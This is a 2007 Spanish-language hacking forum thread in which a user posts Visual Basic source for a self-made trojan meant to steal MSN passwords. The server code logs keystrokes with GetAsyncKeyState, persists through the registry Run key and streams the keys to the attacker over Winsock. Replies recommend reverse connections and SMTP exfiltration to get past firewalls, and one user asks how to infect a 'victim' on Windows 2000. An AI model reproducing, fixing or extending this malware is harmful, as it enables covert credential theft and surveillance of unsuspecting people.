Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Enero 08, 2009, 02:29:06
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: creando troyano...problema de conexion 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: creando troyano...problema de conexion  (Leído 431 veces)
tototachu
Habitual
*****
Desconectado Desconectado

Mensajes: 185



Ver Perfil WWW
« en: Julio 11, 2007, 10:50:30 »
Holaa a todos amigos dl foro
mi problema es el siguiente..
ise mi propio troyano basandome en el manual dl chileno...no me acuerdo el nombre..xD. Bien lo termine entonces para probarlo utilize mis computadoras..
en mi ksa tengo dos PC en red entonces ejecute el server en una fui a la otra coloke la IP i conecto a la perfeccion..! pero cuando lo mando a otra persona cualkiera sea,,, no me conecta, no ai forma de conectar...=(

el otro dia chateando con un usuario reconocido de aki dl foro le comente un poko como era el problema i me dijo ke el problema era el winsock k utilize nose ke kosa me dijo xD..! i ke buske info en el foro pero como no se ni ke buscar posteo esto..
Espero ke me puedan ayudar..!

si kieren ver como es el troyano entren en
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.tototachu.4t.com
en la seccion ''troyanos'' descarguen el "HackPass" es para robar contraseñas de MSN siempre i cuando se solucione el problema de conexion..XD!



desde ya muchas gracias... Wink
En línea
MaÑaNa NoS DarEmoS CuEnTa D q' Hoy No SaVeMoS TodaVIa NadA...

necesitas saver algo???
1°
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.google.com

2° post!

Wink
-Erick-
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1497



Ver Perfil WWW Email
« Respuesta #1 en: Julio 12, 2007, 06:23:49 »
Postea el codigo.Sino no te podremos ayudar.
En línea
tototachu
Habitual
*****
Desconectado Desconectado

Mensajes: 185



Ver Perfil WWW
« Respuesta #2 en: Julio 12, 2007, 11:49:06 »
ahh ke tonto...xD
CLIENTE:

Private Sub Command2_Click()
Form2.Show
End Sub

Private Sub Command5_Click()
Winsock1.Close
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub


Private Sub winsock1_connectionrequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub winsock1_close()
Winsock1.Close
Winsock1.Listen
Label3.Caption = "desconectado"
End Sub

Private Sub winsock1_connect()
Label3.Caption = "conectado "
End Sub

Private Sub command6_Click()
Open App.Path & "/" & "loger.txt" For Append As #1
Write #1, Form1.Text2.Text
Close #1
Form1.Text2.Text = ""
End Sub

Private Sub winsock1_dataArrival(ByVal bytestotal As Long)
Dim datos As String
Winsock1.GetData datos
Text2.Text = Text2.Text + datos
End Sub


SERVIDOR:
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function TerminarProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Processes(150) As Long

Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szExeFile As String * 260
End Type

Private Sub Form_Load()
Set MSN = New Messenger
MSN.Signout
Timer1.Interval = 1 'cada una milésima de Segundo se capta teclas
Timer2.Interval = 1 'cada 1 milésima de segundo se borra la caja text
Winsock1.Listen ' deja el programa esperando una conexión
WAClase = "VBE"
Set Objeto = CreateObject("WScript.Shell")
Objeto.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
App.TaskVisible = True
If App.PrevInstance = True Then                                    'si nos hemos ejecutado antes
Unload Me                                                                     'nos descargamos(no nos ejecytamos por decirlo asi,cerramos)esto es por si se ejecuta el server otra vez para que no haya errores
End If
End Sub

Private Sub Text2_Change()
Dim enviar As String
If Winsock1.State = sckConnected Then 'si es que esta establecida la conexión
enviar = Text2.Text 'se comienza a enviar los logers
Winsock1.SendData Text2.Text
End If
End Sub

Private Sub Timer1_Timer()
On Error Resume Next 'cualquier error no lo representa
Dim enviar As String
Dim x As Integer, I As Integer
For I = 33 To 124
x = GetAsyncKeyState(I)
If x = -32767 Then
Text2.Text = Chr(I) + enviar 'texto 2 = a teclaa precionada
End If
Next
x = GetAsyncKeyState(32) ' tecla 32 = al espacio
If x = -32767 Then
Text2.Text = " " 'lo reprecenta como un espacio
End If
End Sub

Private Sub Timer2_Timer()
Text2.Text = "" 'este timer es para que cuando la victima presione una tecla
'2veces se envia 2 veces :-P
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos ' recibe informacion
Text1.Text = "" ' despues al recibir otro texto s elimpia el text1
Text1.Text = Text1.Text + datos
On Error Resume Next
    Dim RData As String, RData2 As String, Message() As String, I As Integer, intForLoop As Integer 'declaramos como siempre
   
    conexion.GetData RData ' RData representa a toda la data mandada por el server
    RData2 = Right$(RData, Len(RData) - 2) ' aca definimos el tipo de peticion
   
   
    Select Case Left$(RData, 2) 'los 2 primeros dijitos que llegan en RData nos dan el Case de peticion
        Case "01" ' acas esta la data de cuando la peticion de procesos o matar proceso sale bien, podemos llenar un level, etc para notificarnos
        Case "12" ' aca llega la data de los procesos en ejecucion
        ListView.ListItems.Clear ' limpiamos la lista
        Message = Split(RData2, "|") 'definimos
                   intForLoop = Message(1) + 1 'definimos
                   For I = 2 To intForLoop
                       ListView.ListItems.Add.Text = Message(I) ' y lo agregamos a la lista
                       ListView.ListItems.Item(I - 1).SmallIcon = (Right$(Message(I), 3))
                   Next I
    End Select
    Exit Sub
End Sub

Private Sub winsock1_close()
Winsock1.Close
Winsock1.Listen
End Sub

Private Sub envcombo_click()
Dim enviar As String
enviar = combo1.texto
Winsock1.SendData enviar
End Sub


dede ya GRACIAS...Wink
En línea
MaÑaNa NoS DarEmoS CuEnTa D q' Hoy No SaVeMoS TodaVIa NadA...

necesitas saver algo???
1°
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.google.com

2° post!

Wink
-Erick-
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1497



Ver Perfil WWW Email
« Respuesta #3 en: Julio 13, 2007, 06:32:25 »
Esk es de conexion directa,mejor hazlo de conexion inversa,ademas,puedens er cosa de puertos,firewall....
Hazlo de conexion inversa que es mucho mejor.
Saludos,y si tienes problemas con la conexion inversa postea e intentaré ayudarte.
En línea
TaIKI
TaIKI
Habitual
*****
Desconectado Desconectado

Mensajes: 236


Hack me IP: 127.0.0.1 C'mon xD


Ver Perfil WWW
« Respuesta #4 en: Julio 13, 2007, 08:48:14 »
una cosa ya k estamos en el tema podria meterle un troyano a mi victima que tiene windows 2000 pero al iniciar tiene contraseña podria?¿
En línea


Si quieres ganar dinero gratis al instante entra en el link de abajo y ganaras dinero gratis con solo regitrarte!!!

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
-Erick-
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1497



Ver Perfil WWW Email
« Respuesta #5 en: Julio 13, 2007, 12:19:29 »
Cita de: TaIKI en Julio 13, 2007, 08:48:14
una cosa ya k estamos en el tema podria meterle un troyano a mi victima que tiene windows 2000 pero al iniciar tiene contraseña podria?¿
Que tiene que ver que al iniciar tenga contraseña?El troyano se lo mandas cuando ha iniciaod sesion asique eso no importa nada....
Y claro que en Win 2000 se pueden meter troyanos.
No nos desviemos del tema.
En línea
tototachu
Habitual
*****
Desconectado Desconectado

Mensajes: 185



Ver Perfil WWW
« Respuesta #6 en: Julio 22, 2007, 12:48:57 »
ya postie el code.. i nada..=(

alguien tiene la solucion??


un saludo Wink
En línea
MaÑaNa NoS DarEmoS CuEnTa D q' Hoy No SaVeMoS TodaVIa NadA...

necesitas saver algo???
1°
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.google.com

2° post!

Wink
tototachu
Habitual
*****
Desconectado Desconectado

Mensajes: 185



Ver Perfil WWW
« Respuesta #7 en: Julio 24, 2007, 05:04:02 »
la verdad nose como ago para ke este mismo trojan pase a conexion inversa..si ai algun post ke hable dl tema disculpen pero no lo encontre..

como ago ??



un saludo Wink
En línea
MaÑaNa NoS DarEmoS CuEnTa D q' Hoy No SaVeMoS TodaVIa NadA...

necesitas saver algo???
1°
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.google.com

2° post!

Wink
-Erick-
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1497



Ver Perfil WWW Email
« Respuesta #8 en: Julio 25, 2007, 04:41:45 »
A ver,tu problema es que has hecho un copy&paste y quieres que te hagamos el trabajo,solo con ver tu codigo se ve....
Si queires que te hagamos el trabajo no estamos aki por eso,yo con gusto te ayudo con la conexion inversa,pero tienes que demostrar algo de tu parte,no que te pegue aki un codigo y lo copies y ya.
Esa no es manera de aprender.
Saludos.
En línea
CodeZero
Miembro
*****
Desconectado Desconectado

Mensajes: 146


CodeZero CodeZero
Ver Perfil
« Respuesta #9 en: Julio 26, 2007, 11:07:37 »
SI TU SOLA MENTE QUIERES EL TROYAN PARA MANAR PASS DEL MSN USA MEJOR UN SMTP A TU EMAIL ES MUCHO MAS FASIL Y EFECTIVO
ESTOY ANALISANDO EL CODE PARA VER QUE PROBLEMAS TIENE YA DESPUES TE CUENTO
SALUDO
En línea
Play With The Best  And Die Like The Rest
NeoSystem
Recien Llegado
*
Desconectado Desconectado

Mensajes: 12


Ver Perfil Email
« Respuesta #10 en: Julio 27, 2007, 01:42:55 »
hola....   a todos  xD...te aseguraste que tu victima tenga instalada el winsock...?
de lo contrario tenes que agregarlo en un modulo...  es mas facil yo tambien hic uno pero no adquiere los pass, solo te da acceso a la PC...

ESTE ES EL MODULO...    :-P

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
espero que te sirv...

neosystem...
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: creando troyano...problema de conexion « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC